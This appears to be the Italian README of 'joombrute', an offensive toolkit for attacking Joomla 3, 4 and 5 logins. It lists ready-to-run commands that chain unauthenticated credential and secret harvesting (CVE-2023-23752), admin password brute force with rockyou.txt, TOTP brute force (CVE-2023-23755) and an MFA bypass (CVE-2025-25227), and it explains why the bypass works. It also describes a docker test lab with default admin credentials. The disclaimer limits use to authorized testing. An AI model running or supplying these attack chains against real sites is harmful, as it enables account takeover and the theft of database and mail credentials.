
Toolkit moderno per attacchi di autenticazione a Joomla J3 / J4 / J5 - CVE-2023-23752 · CVE-2023-23755 · CVE-2025-25227

Toolkit moderno per attacchi di autenticazione Joomla
J3 / J4 / J5 - CVE-2023-23752 · CVE-2023-23755 · CVE-2025-25227
Toolkit per attacchi alle credenziali Joomla che copre le versioni CMS 3, 4 e 5. Sei sottocomandi gestiscono l'intera catena di attacco end-to-end:
detect - identificazione della versione (manifest XML → generator meta → markup admin)enum - raccolta API non autenticata CVE-2023-23752: username, host/utente/password DB, credenziali SMTP, segreto dell'applicazionebrute - bruteforce concorrente del login admin con isolamento della sessione per worker e classificazione a quattro esiti (success / mfa-required / invalid / blocked)mfa-brute - attacco esaustivo TOTP a 6 cifre CVE-2023-23755 contro la schermata MFA obbligatoriamfa-bypass - bypass MFA CVE-2025-25227 tramite view=methods (e altre quattro viste/attività candidate) sulla sessione parzialmente autenticatachain - autopilota completo: detect → enum → brute → passaggio automatico al bypass MFA quando il brute arriva su una schermata MFA obbligatoriaBinario statico singolo, nessuna dipendenza runtime. Concorrenza nativa via goroutine con cookie jar per worker. Output JSONL per l'ingestione in SIEM. Supporto proxy HTTP/HTTPS/SOCKS5. Verificato end-to-end contro i lab docker Joomla 3.10, 4.2.7 e 5.4.6.
# Option A - Go install (requires Go 1.22+)
go install github.com/rvzsec/joombrute/cmd/joombrute@latest
# Option B - Pre-built binary from releases
curl -L -o joombrute https://github.com/rvzsec/joombrute/releases/latest/download/joombrute-linux-amd64
chmod +x joombrute
# Option C - Build from source
git clone https://github.com/rvzsec/joombrute
cd joombrute
make
joombrute detect -u <target>
joombrute enum -u <target>
joombrute brute -u <target> --user admin -w rockyou.txt -c 20
joombrute mfa-brute -u <target> --user admin --password <pw> -c 50
joombrute mfa-bypass -u <target> --user admin --password <pw>
joombrute chain -u <target> -w rockyou.txt -c 20
# JSONL output for piping / SIEM ingest
joombrute --json brute -u <target> --user admin -w rockyou.txt > hits.jsonl
CVE-2025-25227 sfrutta MultiFactorAuthenticationHandler::needsMultiFactorAuthenticationRedirection() che chiama isMultiFactorAuthenticationPage() senza il flag $onlyCaptive - l'elenco esentato dal bypass include silenziosamente le viste di gestione MFA (view=methods, view=method, view=callback, task=method.add …) a cui una sessione parzialmente autenticata può accedere senza risolvere la sfida obbligatoria.
detect - identificazione tramite manifest joomla.xml → <meta name="generator"> → markup adminenum - raccolta API non autenticata CVE-2023-23752 (utenti, host/utente/password DB, SMTP, segreto app)brute - bruteforce del form admin, isolamento della sessione per worker, classificazione a quattro esiti (success / mfa-required / invalid / blocked)mfa-brute - brute TOTP a 6 cifre CVE-2023-23755 su schermata MFA obbligatoriamfa-bypass - sonda di bypass del controllo di stato CVE-2025-25227 (non distruttiva)chain - completamente automatico: detect → enum → brute → sonda MFA-bypassmake lab # docker compose up + seed J3.10 / J4.2.7 / J5.x with admin user
make smoke # end-to-end against all three (no MFA)
make lab-mfa # seed a known TOTP secret on J4 admin (for mfa-* tests)
make smoke-mfa # brute -> mfa-required, mfa-bypass VULN, chain auto-pivot
make lab-mfa-off # remove the MFA record (back to plain admin)
make lab-down # tear it all down
L'installer del lab bypassa completamente l'installer web di Joomla - carica direttamente l'SQL di installazione in MySQL, inserisce un utente admin (admin / admin1234), scrive un configuration.php minimale. seed_mfa.php usa la crittografia AES-128-CBC + chiave segreta di Joomla, così l'endpoint MFA obbligatorio la decifra correttamente. Solo lab - entrambi gli script presuppongono i nomi dei container standard joombrute-* da lab/docker-compose.yml.
make all
# produces dist/joombrute-{linux,darwin,windows}-{amd64,arm64} statically linked
Solo test di sicurezza autorizzati. Esegui esclusivamente contro sistemi per cui hai esplicito permesso scritto. Genera traffico che qualsiasi IDS intercetterà. I manutentori declinano ogni responsabilità per un uso improprio.
Ravindu Wickramasinghe | rvz (@rvzsec) · www.zyenra.com
Concetto originale del brute per Joomla 3: @ajnik Ricerca sulla catena CVE-2023-23752: VulnCheck
| CVE | Versioni interessate | Modalità | Corretta in | Verificato in lab |
|---|
| CVE-2023-23752 | 4.0.0 - 4.2.7 | enum | 4.2.8 (2023-02) | ✅ J4.2.7 |
| CVE-2023-23755 | 4.2.0 - 4.3.1 | mfa-brute | 4.3.2 (2023-05) | ✅ J4.2.7 |
| CVE-2025-25227 | 4.0.0 - 4.4.12, 5.0.0 - 5.2.5 | mfa-bypass | 4.4.13 / 5.2.6 (2025-04) | ✅ J4.2.7 |